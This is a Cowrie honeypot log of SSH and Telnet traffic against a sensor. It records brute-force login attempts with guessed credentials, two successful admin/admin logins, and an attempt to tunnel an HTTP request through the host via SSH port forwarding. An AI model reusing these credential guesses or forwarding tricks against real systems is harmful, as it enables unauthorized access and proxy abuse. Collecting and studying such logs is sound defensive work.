{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":54714,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bca2205f02f","protocol":"ssh","message":"New connection: 182.93.50.90:54714 (10.17.0.5:22) [session: 3bca2205f02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:06.261568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:06.266191Z","src_ip":"182.93.50.90","session":"3bca2205f02f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:06.485759Z","src_ip":"182.93.50.90","session":"3bca2205f02f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc2025","message":"login attempt [root/Abc2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:07.417673Z","src_ip":"182.93.50.90","session":"3bca2205f02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:08.647450Z","src_ip":"182.93.50.90","session":"3bca2205f02f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":54688,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b890e10f000","protocol":"ssh","message":"New connection: 85.198.19.241:54688 (159.203.135.109:22) [session: 5b890e10f000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:10.617518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:10.621778Z","src_ip":"85.198.19.241","session":"5b890e10f000","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:11.141946Z","src_ip":"85.198.19.241","session":"5b890e10f000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"03856289a7b9","protocol":"telnet","message":"New connection: 172.81.62.90:54748 (159.203.135.109:23) [session: 03856289a7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:14.604332Z"}
{"eventid":"cowrie.session.closed","duration":41.49916744232178,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:20.162559Z","src_ip":"128.199.8.54","session":"d0706b3690bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46917,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec71f9f32a1d","protocol":"telnet","message":"New connection: 128.199.8.54:46917 (159.203.135.109:23) [session: ec71f9f32a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:25.258550Z"}
{"eventid":"cowrie.session.closed","duration":"16.5","message":"Connection lost after 16.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:27.153059Z","src_ip":"85.198.19.241","session":"5b890e10f000","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33802,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc40a4d8697","protocol":"ssh","message":"New connection: 147.45.199.80:33802 (159.203.135.109:22) [session: 0fc40a4d8697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:30.548050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:30.552927Z","src_ip":"147.45.199.80","session":"0fc40a4d8697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:30.654340Z","src_ip":"147.45.199.80","session":"0fc40a4d8697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25031980","message":"login attempt [root/25031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:30.953321Z","src_ip":"147.45.199.80","session":"0fc40a4d8697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:32.053914Z","src_ip":"147.45.199.80","session":"0fc40a4d8697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41844,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9aa8aad7bcd","protocol":"ssh","message":"New connection: 27.71.230.31:41844 (159.203.135.109:22) [session: a9aa8aad7bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.129445Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53994,"dst_ip":"10.17.0.5","dst_port":22,"session":"56d998591605","protocol":"ssh","message":"New connection: 45.148.10.121:53994 (10.17.0.5:22) [session: 56d998591605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.233893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.237536Z","src_ip":"45.148.10.121","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.333595Z","src_ip":"45.148.10.121","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.625087Z","src_ip":"45.148.10.121","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.723722Z","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.858422Z","src_ip":"45.148.10.121","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.862291Z","src_ip":"45.148.10.121","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.946077Z","src_ip":"27.71.230.31","session":"a9aa8aad7bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.949804Z","src_ip":"27.71.230.31","session":"a9aa8aad7bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:37.960748Z","src_ip":"45.148.10.121","session":"56d998591605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8473ee2eeab","protocol":"ssh","message":"New connection: 45.148.10.121:54004 (10.17.0.5:22) [session: d8473ee2eeab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.051255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.058496Z","src_ip":"45.148.10.121","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.153769Z","src_ip":"45.148.10.121","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.439752Z","src_ip":"45.148.10.121","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.540062Z","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.635943Z","src_ip":"45.148.10.121","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.639024Z","src_ip":"45.148.10.121","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:38.738582Z","src_ip":"45.148.10.121","session":"d8473ee2eeab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QwertyUser@4","message":"login attempt [root/QwertyUser@4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:44.261857Z","src_ip":"27.71.230.31","session":"a9aa8aad7bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:46.710301Z","src_ip":"27.71.230.31","session":"a9aa8aad7bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62760376930237,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:15:49.231808Z","src_ip":"172.81.62.90","session":"03856289a7b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.882588624954224,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:16:11.141024Z","src_ip":"128.199.8.54","session":"ec71f9f32a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53634,"dst_ip":"159.203.135.109","dst_port":22,"session":"c640736698e8","protocol":"ssh","message":"New connection: 216.155.93.75:53634 (159.203.135.109:22) [session: c640736698e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:16:28.450668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:16:28.455179Z","src_ip":"216.155.93.75","session":"c640736698e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:16:28.607696Z","src_ip":"216.155.93.75","session":"c640736698e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discord","password":"discord123","message":"login attempt [discord/discord123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:16:29.247319Z","src_ip":"216.155.93.75","session":"c640736698e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:16:30.402123Z","src_ip":"216.155.93.75","session":"c640736698e8","protocol":"ssh"}
